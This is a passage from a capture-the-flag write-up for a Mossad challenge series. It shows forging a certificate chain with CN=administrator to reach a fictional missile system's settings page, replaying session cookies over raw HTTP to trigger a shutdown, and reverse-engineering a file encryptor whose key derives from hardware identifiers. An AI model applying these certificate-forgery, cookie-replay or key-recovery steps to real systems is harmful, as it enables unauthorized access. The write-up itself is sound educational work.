         84:b1:2b:e8:19:95:37:2a:f9:73:99:14:7c:d7:e2:8e:d5:09:
         9b:29:02:ac:43:91:f1:df:ed:5c:2e:b0:70:33:d5:5b:16:56:
         25:c7:2c:1e:92:01:8c:e3:27:05:06:0e:53:0f:0b:93:d2:03:
         d2:14:97:b9:9f:d5:d9:9f:2b:c5:26:a8:3c:09:23:13:b2:16:
         87:32:39:73:e4:e0:ac:4a:c6:c1:35:24:f5:4e:38:3f:87:7e:
         7b:b9:8e:1a:46:e2:c6:5c:fb:7f:c9:63:eb:e0:72:8b:3a:43:
         34:6a:b3:1d:61:13:39:de:d0:48:0f:27:81:52:ac:62:c2:9c:
         e4:ae:92:8d:45:77:52:e2:0d:e2:ca:13:3b:33:da:a5:02:8d:
         12:ed:00:f9:3e:4d:36:e3:89:79:7c:b1:cd:22:e3:94:3a:86:
         6f:1b:a4:9d

We got a certificate with CA = TRUE!

Now we create a leaf with CN = administrator:

[email protected]:/media/sf_CTFs/mossad/2# openssl genrsa -out leaf_key.pem 2048
Generating RSA private key, 2048 bit long modulus (2 primes)
...............................................+++++
........................+++++
e is 65537 (0x010001)
[email protected]:/media/sf_CTFs/mossad/2# openssl req -new -key leaf_key.pem -out leaf_csr.pem
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:.
State or Province Name (full name) [Some-State]:.
Locality Name (eg, city) []:.
Organization Name (eg, company) [Internet Widgits Pty Ltd]:.
Organizational Unit Name (eg, section) []:.
Common Name (e.g. server FQDN or YOUR name) []:administrator
Email Address []:.

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
[email protected]:/media/sf_CTFs/mossad/2# cat leaf.ext
basicConstraints=CA:FALSE
subjectKeyIdentifier=hash
[email protected]:/media/sf_CTFs/mossad/2# openssl x509 -req -in leaf_csr.pem -CA intermediate.pem -CAkey intermediate_key.pem -CAcreateserial -out leaf.pem  -days 1825 -sha256 -extfile leaf.ext
Signature ok
subject=CN = administrator
Getting CA Private Key

Double check that the leaf looks ok:

root@kali:/media/sf_CTFs/mossad/2# openssl x509 -in leaf.pem -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            45:c9:6a:20:cc:15:ba:7d:08:79:a7:53:b7:19:91:b9:20:60:45:40
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN = Evil MITM
        Validity
            Not Before: May 12 19:49:48 2019 GMT
            Not After : May 10 19:49:48 2024 GMT
        Subject: CN = administrator
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:ce:4a:cd:69:f9:b8:a4:fd:3d:bb:79:a2:a7:43:
                    7b:67:3c:81:18:27:f8:79:83:58:cd:0a:a7:b0:21:
                    0a:08:c2:d3:d3:f6:28:d4:47:48:ac:14:1f:1c:dc:
                    ef:21:99:39:70:9e:c4:b4:c8:6e:ce:da:1e:77:01:
                    fe:e3:c2:1c:95:5e:0d:91:47:d5:ee:c7:8b:da:c9:
                    30:f6:ac:ea:43:c9:3e:08:c1:23:7a:e2:bb:3a:69:
                    2b:0d:38:16:53:91:cb:10:c3:b0:c4:34:13:29:3a:
                    eb:ec:56:15:35:a0:8a:de:60:5b:08:2d:e2:af:52:
                    db:a0:54:1c:f2:44:71:fd:c2:69:da:99:ff:c4:08:
                    93:67:14:16:c7:14:63:46:53:b6:df:f4:48:aa:c0:
                    b8:5f:a7:0d:55:31:13:a2:d7:d9:4b:47:6f:a0:2a:
                    a4:60:e7:e1:22:df:f7:39:da:b5:5e:71:6e:e5:85:
                    cf:a4:37:7b:b7:12:4a:9e:83:0b:ad:2a:a4:e0:ef:
                    9c:b9:b7:3f:e6:26:a4:6c:2d:fa:86:d2:65:e4:64:
                    38:7d:14:c9:3e:22:4e:33:d1:00:84:e0:62:13:8a:
                    07:ca:f1:c9:5c:bc:2b:bb:d8:ff:2d:1a:95:ac:83:
                    9e:41:98:4c:81:fa:8d:22:8c:b9:33:2c:c3:09:ff:
                    cc:8d
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:FALSE
            X509v3 Subject Key Identifier:
                40:18:7D:C1:BD:8C:70:DA:02:47:E0:7C:65:F2:64:F9:13:7F:D4:4A
    Signature Algorithm: sha256WithRSAEncryption
         59:b1:99:89:bd:19:3c:4d:81:8e:ea:89:e4:20:7d:1d:8a:b5:
         35:a3:b6:38:50:6c:fe:7b:f6:fe:99:ea:9e:3d:f8:43:6c:a4:
         4e:c9:7b:d0:52:eb:6b:b4:90:7c:a7:7e:f9:c5:3f:55:25:4f:
         60:71:1a:e4:48:a2:72:7f:9d:8e:3d:d5:e5:e5:9e:9d:a2:61:
         d0:ca:ff:ed:33:79:2d:d3:90:74:6e:4c:b0:c2:d2:c4:f2:7e:
         59:44:89:64:d3:0a:fb:fe:32:d3:ed:5c:88:99:bd:89:28:9d:
         f6:72:5c:24:ac:06:fe:6a:d1:e0:ea:c7:54:30:db:ac:52:f4:
         83:6f:41:d8:e0:45:23:0b:07:bc:60:aa:f3:e8:8d:af:53:2e:
         a1:4f:c9:28:91:ce:14:ef:26:9a:64:19:a8:4a:76:72:f1:cf:
         9f:d4:26:b2:fe:0b:bd:3f:5e:67:d2:e0:d2:b0:4b:df:a0:99:
         09:14:48:8f:82:6d:6c:b2:02:14:3c:60:a0:d9:f4:45:42:ba:
         10:ec:47:b0:e7:2a:a3:a2:d0:4e:bc:7a:02:56:41:ec:4e:85:
         b1:3c:81:45:85:75:d1:ab:0c:c9:a6:0d:24:b9:3e:74:84:70:
         3a:a0:c7:98:ad:83:35:1c:88:1e:80:b9:53:e7:b6:fa:47:95:
         53:85:fa:78

We create a PKCS#12 file:

root@kali:/media/sf_CTFs/mossad/2# openssl pkcs12 -export  -inkey leaf_key.pem -in leaf.pem -certfile intermediate.pem -out final.pfx
Enter Export Password:
Verifying - Enter Export Password:

Now we import it in the browser and try to access the settings:

We're in!

We have access to a telnet debug interface which allows entering an IP and port, and a list of IPs and ports.

Anything but the first one (Management Status - Managed by 10.0.0.1:80) returns "Only one connection at a time is allowed". Therefore, we'll investigate the first interface.

Since the port is 80, we can try to issue raw HTTP commands:

GET / HTTP/1.0

We receive the following response (truncated):

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5374
Set-Cookie: SID=Z0FBQUFBQmMySHNiWklXai05a3kwZ3paWll5NnlzMnZjcnNBOFZxaEZ4SDRVbV84Rlp1UzhLbG5STy1Nc2lHTVRZTFozOHZXYVBkZi1NckRzOTc3S09raW56MzZPXzBWdlppR05rS1dUUUlPS2FXNW9SUXBPd1J1Y1gxejdBVENVVFIwSDU1ZHpLajY3VFNoN0dKUnBVa0hPemZtalVTNVkxaHl1RHQtNU1hbE1xWDhCVzY1c2RFPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 19:59:23 GMT; Path=/
Date: Sun, 12 May 2019 19:59:23 GMT
Server: Cheroot/6.5.4

<html>
    <!-- ... -->
    <body>
        <div id="title" class="level1_title">
            <div id="welcome">
                <span>Welcome to Management System!</span>
            </div>
            <div id="settings"><span><a href="/settings">settings</a></span></div>
        </div>
        <div id="status">
            <div id="managemenetstatus">
                <div id="managemenetstatus_title" class="level2_title">
                    <span class="name">Management Status</span>
                    <span class="value">OK</span>
                </div>
                <div id="managemenetstatus_content">
                    <div id="earlywarning_status" class="level3_title">
                        <span class="name">Missile System</span>
                        <span class="value">OK</span>
                    </div>
                </div>
            </div>
        </div>
    </body>
</html>

Let's try to access the setting page:

GET /settings HTTP/1.1

The response:

HTTP/1.1 302 FOUND Content-Type: text/html; charset=utf-8 Content-Length: 237 Location: http://10.0.0.1 Date: Sun, 12 May 2019 20:01:13 GMT Server: Cheroot/6.5.4 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to target URL: <a href="http://10.0.0.1">http://10.0.0.1</a>. If not click the link.

But what if we send the cookie this time?

GET /settings HTTP/1.0
Cookie: SID=Z0FBQUFBQmMySHNiWklXai05a3kwZ3paWll5NnlzMnZjcnNBOFZxaEZ4SDRVbV84Rlp1UzhLbG5STy1Nc2lHTVRZTFozOHZXYVBkZi1NckRzOTc3S09raW56MzZPXzBWdlppR05rS1dUUUlPS2FXNW9SUXBPd1J1Y1gxejdBVENVVFIwSDU1ZHpLajY3VFNoN0dKUnBVa0hPemZtalVTNVkxaHl1RHQtNU1hbE1xWDhCVzY1c2RFPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 19:59:23 GMT; Path=/

We get a response:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5203
Set-Cookie: SID=Z0FBQUFBQmMySHUtTlJUamp1My11eF9Yc250dFFOOVZMUVI2ZmZlV0pSd0NQMXVZT2RJQWplMmxqTXpadlNEckdtazdYRTd1VmRLNmd6eEZVWFR2QVBIQjljcFVrT0VQbTJhMlNwRTFLV1ludGZITWg0QnJHRjhhSGg1djVwcEFaOGhIWldnSm44RG5xdDVjS0lib2hGamZ0ZkllS0VQRGQzbjRhN20xRnNaZHQ4VFVSd3BiVkhrPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 20:02:06 GMT; Path=/
Date: Sun, 12 May 2019 20:02:06 GMT
Server: Cheroot/6.5.4

<html>
    <!-- ... -->
    <body>
        <div id="title" class="level1_title">
            <div id="welcome">
                <span>Management System Settings</span>
            </div>
        </div>
        <div id="status">
            <div id="telnetdebugging">
                <div id="telnetdebugging_title" class="level2_title"><span>Telnet Debugging</span></div>
                <div id="telnet">
                    <form  method="post">
                        <div id="console">
                            <input type="submit" value="Turn Off Management System"></input>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </body>
</html>

We have a big button saying "Turn Off Management System", let's click it:

POST /settings HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: SID=Z0FBQUFBQmMySHUtTlJUamp1My11eF9Yc250dFFOOVZMUVI2ZmZlV0pSd0NQMXVZT2RJQWplMmxqTXpadlNEckdtazdYRTd1VmRLNmd6eEZVWFR2QVBIQjljcFVrT0VQbTJhMlNwRTFLV1ludGZITWg0QnJHRjhhSGg1djVwcEFaOGhIWldnSm44RG5xdDVjS0lib2hGamZ0ZkllS0VQRGQzbjRhN20xRnNaZHQ4VFVSd3BiVkhrPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 20:02:06 GMT; Path=/

The success page is shown!

Challenge #3

Description

Hello again, Agent.

After you disabled the weapon system, we have successfully raided the terrorist compound and took all present into custody.

The terrorists destroyed much of the data they kept, but we have managed to retrieve an encrypted file containing links to the other members of the network, as well as the program used to encrypt it.

Sadly, the encryption computer was destroyed. Aside from unidentified manufacturer markings on the front (Or... Po... Ltd.) we don't know anything about it.

Hopefully that won't stop you from decrypting this important intel.

Good luck!, M.|

A binary file (EncryptSoftware.exe) and an encrypted file (intel.txt.enc) were attached.

Solution

Let's start by running the program:

E:\CTFs\mossad>EncryptSoftware.exe
USAGE: Encrypt <input file name> <output file name>

It looks like the program expects two arguments: An input filename and an output file name.

We'll use Ghidra to investigate the program. We'll show the decompilation output (after performing some renaming). The full decomplied output can be found in the Challenge3_files folder.

We'll start with the main function:

undefined4 __cdecl main(int argc,char **argv)
{
  char *output_buffer;
  HANDLE *ppvVar1;
  HANDLE pvVar2;
  DWORD bytes_written;
  int bytes_to_write;
  LPCWSTR lpOutputFileName;

  if (argc < 3) {
    print("USAGE: Encrypt <input file name> <output file name>");
    return 0xffffffff;
  }
  argc = 0;
  output_buffer = encrypt(argv[1],&argc);
  lpOutputFileName = (LPCWSTR)argv[2];
  ppvVar1 = (HANDLE *)allocate(4);
  if (ppvVar1 != (HANDLE *)0x0) {
    pvVar2 = CreateFileW(lpOutputFileName,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,(HANDLE)0x0
                        );
    bytes_to_write = argc;
    *ppvVar1 = pvVar2;
    if (pvVar2 == (HANDLE)0xffffffff) {
      free(ppvVar1);
      return 0;
    }
    bytes_written = 0;
    WriteFile(*ppvVar1,output_buffer,argc,&bytes_written,(LPOVERLAPPED)0x0);
    if (bytes_written != bytes_to_write) {
      cleanup(lpOutputFileName);
    }
  }
  return 0;
}

Not much to see here, we see that the function calls encrypt with the input file name, and writes the result to the output file name.

encrypt is a bit longer. It starts by calling another function and saving the result:

  padded_md5 = (undefined4 *)padded_md5_filename_mac(input_file_name);
  if (padded_md5 == (undefined4 *)0x0) {
    pcVar2 = (char *)FUN_00401f78();
    return pcVar2;
  }

This function is implemented as follows:

char * __fastcall padded_md5_filename_mac(char *file_name)

{
  ushort uVar1;
  ushort *puVar2;
  undefined8 *pbData;
  int file_name_len_2;
  undefined4 *p_mac_addr;
  BOOL BVar3;
  char *pcVar4;
  undefined4 *puVar5;
  int i;
  uint file_name_len;
  HCRYPTPROV hProv;
  DWORD hash_len;
  HCRYPTHASH hHash;
  byte hash_output [16];

  puVar2 = FUN_00402abe(file_name,'\\');
  if (puVar2 != (ushort *)0x0) {
    file_name = (char *)(puVar2 + 1);
  }
  puVar2 = (ushort *)file_name;
  do {
    uVar1 = *puVar2;
    puVar2 = puVar2 + 1;
  } while (uVar1 != 0);
  file_name_len = (int)((int)puVar2 - (int)((ushort *)file_name + 1)) >> 1;
  pbData = (undefined8 *)allocate(file_name_len + 6);
  if (pbData == (undefined8 *)0x0) {
    pcVar4 = (char *)FUN_00401f78();
    return pcVar4;
  }
  file_name_len_2 = copy_str_into_buffer(pbData,(ushort *)file_name,file_name_len);
  if (file_name_len_2 == 0) goto LAB_00401633;
  p_mac_addr = (undefined4 *)get_mac_addr();
  puVar5 = (undefined4 *)((int)pbData + file_name_len);
  if (puVar5 == (undefined4 *)0x0) {
LAB_00401530:
    puVar5 = (undefined4 *)FUN_00407f40();
    *puVar5 = 0x16;
    FUN_00407e83();
  }
  else {
    if (p_mac_addr == (undefined4 *)0x0) {
      *puVar5 = 0;
      *(undefined2 *)(puVar5 + 1) = 0;
      goto LAB_00401530;
    }
                    // Copy MAC address after file name
    *puVar5 = *p_mac_addr;
    *(undefined2 *)(puVar5 + 1) = *(undefined2 *)(p_mac_addr + 1);
  }
  hProv = 0;
  hHash = 0;
  hash_len = 0x10;
  BVar3 = CryptAcquireContextW(&hProv,(LPCWSTR)0x0,(LPCWSTR)0x0,1,0xf0000000);
  if (BVar3 != 0) {
                    // MD5 (0x8003)
    BVar3 = CryptCreateHash(hProv,0x8003,0,0,&hHash);
    if (BVar3 != 0) {
      BVar3 = CryptHashData(hHash,(BYTE *)pbData,file_name_len + 6,0);
      if (BVar3 != 0) {
        BVar3 = CryptGetHashParam(hHash,2,hash_output,&hash_len,0);
        if (BVar3 != 0) {
          puVar5 = (undefined4 *)allocate(0x20);
          if (puVar5 != (undefined4 *)0x0) {
            i = 0;
            *puVar5 = 0;
            puVar5[1] = 0;
            puVar5[2] = 0;
            puVar5[3] = 0;
            puVar5[4] = 0;
            puVar5[5] = 0;
            puVar5[6] = 0;
            puVar5[7] = 0;
                    // Pad MD5 result (nibble to byte)
            if (0 < (int)hash_len) {
              do {
                if (0xf < i) break;
                *(byte *)((int)puVar5 + i * 2) = hash_output[i] >> 4;
                *(byte *)((int)puVar5 + i * 2 + 1) = hash_output[i] & 0xf;
                i = i + 1;
              } while (i < (int)hash_len);
            }
          }
        }
      }
    }
    if (hProv != 0) {
      CryptReleaseContext(hProv,0);
    }
    if (hHash != 0) {
      CryptDestroyHash(hHash);
    }
  }
  if (p_mac_addr != (undefined4 *)0x0) {
    free(p_mac_addr);
  }
LAB_00401633:
  free(pbData);
  pcVar4 = (char *)FUN_00401f78();
  return pcVar4;
}

What is does is:

  1. Allocate a buffer of len(filename) + 6
  2. Copy the filename into this buffer
  3. After the filename, copy the machine's MAC address into the buffer
  4. Calculate an MD5 hash over the buffer
  5. Allocate a buffer of 32 bytes, which is twice as long as the MD5 hash output
  6. "Pad" the MD5 hash by turning every nibble into a byte

For example, for the filename "file.txt" and the MAC address "AABBCCDDEEFF", the buffer would be:

file.txt\xAA\xBB\xCC\xDD\xEE\xFF

The MD5 would be:

b9cab29e8ade3a62f0bc38b3e1398572

And the result would be:

0b090c0a0b02090e080a0d0e030a06020f000b0c03080b030e01030908050702

Back to encrypt. The next step after receiving the padded MD5 is to call an internal function which performs classic encryption:

encrypted_size = 0;
encrypted_buf = do_encrypt((LPCWSTR)input_file_name,&encrypted_size);

This function is implemented as follows:

char * __fastcall do_encrypt(LPCWSTR file_name,size_t *output_size)

{
  BOOL BVar1;
  char *pcVar2;
  undefined8 *mac_addr;
  undefined4 *puVar3;
  undefined4 *disk_serial;
  DWORD input_file_size;
  size_t _Size;
  char *output_buf;
  int iVar4;
  HANDLE *input_file_handle;
  DWORD total_bytes_read;
  undefined8 *buf1;
  bool bVar5;
  HCRYPTKEY hKey;
  HCRYPTHASH hHash;
  uint bytes_read;
  int offset;
  HCRYPTPROV hProv;
  ushort *temp;
  char read_buf [16];

  input_file_handle = (HANDLE *)0x0;
  buf1 = (undefined8 *)0x0;
  hProv = 0;
  hKey = 0;
  hHash = 0;
  CryptAcquireContextW(&hProv,L"DataSafeCryptContainer",(LPCWSTR)0x0,0x18,0x50);
  BVar1 = CryptAcquireContextW(&hProv,L"DataSafeCryptContainer",(LPCWSTR)0x0,0x18,0x48);
  if (BVar1 == 0) {
    GetLastError();
    print("%x");
    goto LAB_004010b6;
  }
  BVar1 = CryptCreateHash(hProv,0x8003,0,0,&hHash);
  if ((BVar1 == 0) || (buf1 = (undefined8 *)allocate(0xe), buf1 == (undefined8 *)0x0))
  goto LAB_004010b6;
  mac_addr = (undefined8 *)get_mac_addr();
  if (mac_addr == (undefined8 *)0x0) {
LAB_00401252:
    free(buf1);
    buf1 = (undefined8 *)0x0;
  }
  else {
    copy_buf_(buf1,0xe,mac_addr,6);
    temp = (ushort *)execute_command(L"wmic bios get serialnumber");
    if (temp == (ushort *)0x0) {
LAB_00401241:
      bVar5 = false;
    }
    else {
      puVar3 = extract_serial(temp);
      free(temp);
      if (puVar3 == (undefined4 *)0x0) goto LAB_00401241;
      temp = (ushort *)lchar_to_dword((ushort *)puVar3);
      if (temp == (ushort *)0xffffffff) {
        bVar5 = false;
        free(puVar3);
      }
      else {
                    // Now buffer will contain mac + bios_serial[0:4]
        copy_buf_((undefined8 *)((int)buf1 + 6),8,(undefined8 *)&temp,4);
        disk_serial = get_disk_serial();
        if (disk_serial == (undefined4 *)0x0) {
          bVar5 = false;
          free(puVar3);
        }
        else {
          temp = (ushort *)lchar_to_dword((ushort *)disk_serial);
          bVar5 = temp != (ushort *)0xffffffff;
          if (bVar5) {
                    // Now buffer will contain mac + bios_serial[0:4] + disk_serial[0:4]
            copy_buf_((undefined8 *)((int)buf1 + 10),4,(undefined8 *)&temp,4);
          }
          free(disk_serial);
          free(puVar3);
        }
      }
    }
    free(mac_addr);
    if (!bVar5) goto LAB_00401252;
  }
  if (((buf1 != (undefined8 *)0x0) && (BVar1 = CryptHashData(hHash,(BYTE *)buf1,0xe,0), BVar1 != 0))
     && (BVar1 = CryptDeriveKey(hProv,0x6610,hHash,0,&hKey), BVar1 != 0
                    // CALG_AES_256 = 0x6610)) {
    input_file_handle = get_file_handle(file_name,0x80000000,3);
    total_bytes_read = 0;
    if (input_file_handle != (HANDLE *)0x0) {
      temp = (ushort *)0x0;
      input_file_size = GetFileSize(*input_file_handle,(LPDWORD)0x0);
                    // align size to 16 bytes
      _Size = (input_file_size & 0xfffffff0) + 0x10;
      output_buf = (char *)allocate(_Size);
      if (output_buf != (char *)0x0) {
        offset = 0;
        read_buf._0_4_ = 0;
        read_buf._4_4_ = 0;
        read_buf._8_4_ = 0;
        read_buf._12_4_ = 0;
        iVar4 = ReadFile(*input_file_handle,read_buf,0x10,&bytes_read,(LPOVERLAPPED)0x0);
        while ((iVar4 != 0 && (bytes_read != 0))) {
          total_bytes_read = total_bytes_read + bytes_read;
          if (total_bytes_read == input_file_size) {
            temp = (ushort *)0x1;
          }
          BVar1 = CryptEncrypt(hKey,0,(BOOL)temp,0,(BYTE *)read_buf,&bytes_read,0x10);
          if (BVar1 == 0) {
            free(output_buf);
            goto LAB_004010b6;
          }
          copy_buffer((undefined8 *)(output_buf + offset),(undefined8 *)read_buf,bytes_read);
          offset = offset + bytes_read;
          read_buf._0_4_ = 0;
          read_buf._4_4_ = 0;
          read_buf._8_4_ = 0;
          read_buf._12_4_ = 0;
          iVar4 = ReadFile(*input_file_handle,read_buf,0x10,&bytes_read,(LPOVERLAPPED)0x0);
        }
        *output_size = _Size;
      }
    }
  }
LAB_004010b6:
  CryptReleaseContext(hProv,0);
  if (hProv != 0) {
    CryptReleaseContext(hProv,0);
  }
  if (hHash != 0) {
    CryptDestroyHash(hHash);
  }
  if (buf1 == (undefined8 *)0x0) {
    free((void *)0x0);
  }
  if (hKey != 0) {
    CryptDestroyKey(hKey);
  }
  if (input_file_handle != (HANDLE *)0x0) {
    CloseHandle(*input_file_handle);
    free(input_file_handle);
  }
  pcVar2 = (char *)FUN_00401f78();
  return pcVar2;
}

It starts by calling WinAPI functions to setup the crypto context. It then:

  1. Allocates a buffer of length 0xE
  2. Copies the machine's MAC address into the buffer
  3. Calls the wmic bios get serialnumber command to read the BIOS serial number
  4. Copies the first four bytes to the buffer
  5. Calls the wmic diskdrive get serialnumber command to read the disk drive's serial number
  6. Copies the first four bytes of the result to the buffer
  7. Uses the buffer to derive key material for AES_256 encryption
  8. Encrypts the buffer with AES_256
  9. Returns the encrypted buffer and size

Since the function uses standard AES-256 in order to encrypt the buffer, it looks like we won't be able to find any shortcuts when attempting to decrypt it - We'll have to reconstruct the same key and use AES-256 decryption.

Back to encrypt again to see what happens with the result:

  if (encrypted_buf != (char *)0x0) {
    puVar3 = (ushort *)execute_command(L"wmic diskdrive get serialnumber");
    if (puVar3 == (ushort *)0x0) {
      diskdrive_serial = (undefined4 *)0x0;
    }
    else {
      diskdrive_serial = extract_serial(puVar3);
      free(puVar3);
      if (diskdrive_serial != (undefined4 *)0x0) {
        dd_serial_dword = lchar_to_dword((ushort *)diskdrive_serial);
        buffer = (undefined4 *)allocate(encrypted_size + 2992);
        if (buffer != (undefined4 *)0x0) {
          *buffer = 0x531b008a;
          puVar3 = (ushort *)execute_command(L"wmic bios get serialnumber");
          if (puVar3 != (ushort *)0x0) {
            puVar4 = extract_serial(puVar3);
            free(puVar3);
            if (puVar4 != (undefined4 *)0x0) {
              bios_serial_dword = lchar_to_dword((ushort *)puVar4);
              garble_buf(garble_buf,bios_serial_dword);
              src_offset = 0;
              limit = 625;
              counter = 0;
              uVar8 = (int)encrypted_size / 0x2e3 + ((int)encrypted_size >> 0x1f);
              p_current_src = garble_buf;
              p_current_dest = garble_buf_copy;
              while (limit != 0) {
                limit = limit + -1;
                *p_current_dest = *p_current_src;
                p_current_src = p_current_src + 1;
                p_current_dest = p_current_dest + 1;
              }
              iVar5 = (uVar8 >> 0x1f) + uVar8;
              uVar8 = iVar5 + 1;
                    // copy padded md5 starting from buf[4] (8 dwords)
              iVar7 = 8;
              p_current_padded_md5 = padded_md5;
              puVar4 = buffer;
              while (puVar4 = puVar4 + 1, iVar7 != 0) {
                iVar7 = iVar7 + -1;
                *puVar4 = *p_current_padded_md5;
                p_current_padded_md5 = p_current_padded_md5 + 1;
              }
              iVar7 = 0x24;
              iVar5 = encrypted_size + iVar5 * -0x2e3;
              do {
                uVar6 = other_garble(garble_buf_copy);
                *(uint *)(iVar7 + (int)buffer) = uVar6;
                if (counter == iVar5) {
                  uVar8 = uVar8 - 1;
                }
                copy_buffer((undefined8 *)(iVar7 + 4 + (int)buffer),
                            (undefined8 *)(encrypted_buf + src_offset),uVar8);
                sVar1 = encrypted_size;
                counter = counter + 1;
                src_offset = src_offset + uVar8;
                iVar7 = iVar7 + 4 + uVar8;
              } while (counter < 739);
              if (src_offset != encrypted_size) {
                print("NOT read enaugh bytes %d , %d");
              }
              iVar5 = sVar1 + 2988;
              *output_len = iVar5;
              iVar7 = 0;
              if (0 < iVar5) {
                do {
                  *(uint *)(iVar7 + (int)buffer) = *(uint *)(iVar7 + (int)buffer) ^ dd_serial_dword;
                  iVar7 = iVar7 + 4;
                } while (iVar7 < iVar5);
              }
              goto LAB_00401895;
            }
          }
          free(buffer);
        }
      }
    }
  }

encrypt proceeds by:

  1. Calling wmic diskdrive get serialnumber to get the disk drive serial again
  2. Allocating an output buffer of size encrypted_size + 2992
  3. Setting the first DWORD in the buffer to the magic value 0x531b008a
  4. Calling wmic bios get serialnumber to get the BIOS serial number again
  5. Calling some kind of user-defined hash(?) function garble_buf(garble_buf,bios_serial_dword), where garble_buf is a local buffer of size 625 * sizeof(uint) and bios_serial_dword is the first four bytes of the BIOS serial.
  6. Making a copy of garble_buf in another local buffer of the same size (garble_buf_copy)
  7. Copying the padded MD5 into the buffer, after the magic value
  8. Starting a loop which:
    1. Calls another hash(?) function other_garble(garble_buf_copy) to receive a 4-byte hash(?) value
    2. Copies this value to the buffer
    3. Copies a chunk of the encrypted text to the buffer
    4. (At some point, changes the chunk size by decrementing it)

After the encrypted buffer is copied to the output buffer (chunk by chunk, where in between we have garbled DWORD separators), the buffer is XORed using dd_serial_dword (the first four bytes of the disk drive).

The buffer is later returned to the main function, which writes it to the output file.

The garbling functions are defined as:

void __fastcall garble_buf(undefined4 *buffer,undefined4 initial_value)

{
  *buffer = initial_value;
  buffer[0x270] = 1;
  do {
    buffer[buffer[0x270]] = (buffer + buffer[0x270])[-1] * 0x17b5;
    buffer[0x270] = buffer[0x270] + 1;
  } while ((int)buffer[0x270] < 0x270);
  return;
}

uint __cdecl other_garble(uint *garbled_buf_copy)

{
  uint uVar1;
  int i;

  if ((0x26f < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) {
    if ((0x270 < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) {
      garble_buf(garbled_buf_copy,0x1105);
    }
    i = 0;
    while (i < 0xe3) {
      garbled_buf_copy[i] =
           (garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^
           garbled_buf_copy[i + 0x18d] ^
           *(uint *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4);
      i = i + 1;
    }
    while (i < 0x26f) {
      garbled_buf_copy[i] =
           (garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^
           garbled_buf_copy[i + -0xe3] ^
           *(uint *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4);
      i = i + 1;
    }
    garbled_buf_copy[0x26f] =
         (garbled_buf_copy[0x26f] & 0x80000000 | *garbled_buf_copy & 0x7fffffff) >> 1 ^
         garbled_buf_copy[0x18c] ^ *(uint *)(&DAT_0041e8c0 + (*garbled_buf_copy & 1) * 4);
    garbled_buf_copy[0x270] = 0;
  }
  uVar1 = garbled_buf_copy[garbled_buf_copy[0x270]];
  garbled_buf_copy[0x270] = garbled_buf_copy[0x270] + 1;
  uVar1 = uVar1 >> 0xb ^ uVar1;
  uVar1 = (uVar1 & 0x13a58ad) << 7 ^ uVar1;
  uVar1 = (uVar1 & 0x1df8c) << 0xf ^ uVar1;
  return uVar1 >> 0x12 ^ uVar1;
}

garble_buf receives a buffer of size 0x271 * sizeof(uint) and an initial value (DWORD). It copies the initial value to the first DWORD of the array, and then uses it to fill the rest of the array with a derived value. buffer[0x270] is used as an index to the current array member that the function is working on.

other_garble takes the product of garble_buf and garbles it a bit more. According to the last few lines of the function, it looks like the bit shifting will cause the result to lose information, and therefore it might be impossible to use the result to reconstruct the original value.

Now that we've reviewed the main functionality, we can start our attempt to decrypt the file. The file we've received is called intel.txt.enc and is 38,924 bytes long.

It starts with the following content:

The last thing that happens is a XOR operation being applied to the file, so we should start by performing the opposite operation in order to recover the contents before the XOR. Since the first DWORD in the original buffer is a magic value (0x531b008a), we XOR the current value (0x632B30BA) with the magic value in order to recover the key used to XOR the file (which happens to be the first four bytes of the disk driver serial number):

>>> hex(0x632B30BA ^ 0x531b008a)
'0x30303030'

This is good, since we got a result which looks like ASCII (chr(0x30) = '0').

We can now use this value to un-XOR the complete file:

def readXorInt(f, xor):
    b = f.read(4)
    if not b:
        return None
    res = int.from_bytes(b, byteorder="little")  ^ xor
    return res

with open(output_filename, "rb") as f, open("phase1.bin", "wb") as o:
    dd_serial = readXorInt(f, MAGIC)
    o.write(dd_serial.to_bytes(4, byteorder="little"))
    while True:
        res = readXorInt(f, dd_serial)
        if res is None:
            break
        o.write(res.to_bytes(4, byteorder="little"))

The result:

The first 4 bytes are the magic value, and the 32 bytes that follow are the padded MD5:

00 09 04 09 0B 04 06 0B 07 03 0E 03 0A 0F 06 0F 05 0A 0F 0C 08 01 09 05 05 03 06 07 02 09 05 0C

If we remove the padding, the MD5 is:

0949b46b73e3af6f5afc81955367295c

We know that the MD5 is composed of FileName + MAC, and we know that FileName is (probably) intel.txt. We'd like to find the MAC address since it's used later on in the encryption key.

We can perform brute force in order to find a 6-byte value where MD5("intel.txt" + ??????) == 0949b46b73e3af6f5afc81955367295c, but that might take a while. Let's try to use what we know in order to reduce the search space.

  1. We know that the file was encrypted on a machine manufactured by "Or... Po... Ltd." (from the description)
  2. We know that MAC addresses are divided into two parts: The first three bytes are a manufacturer ID and the other three bytes are a unique device ID
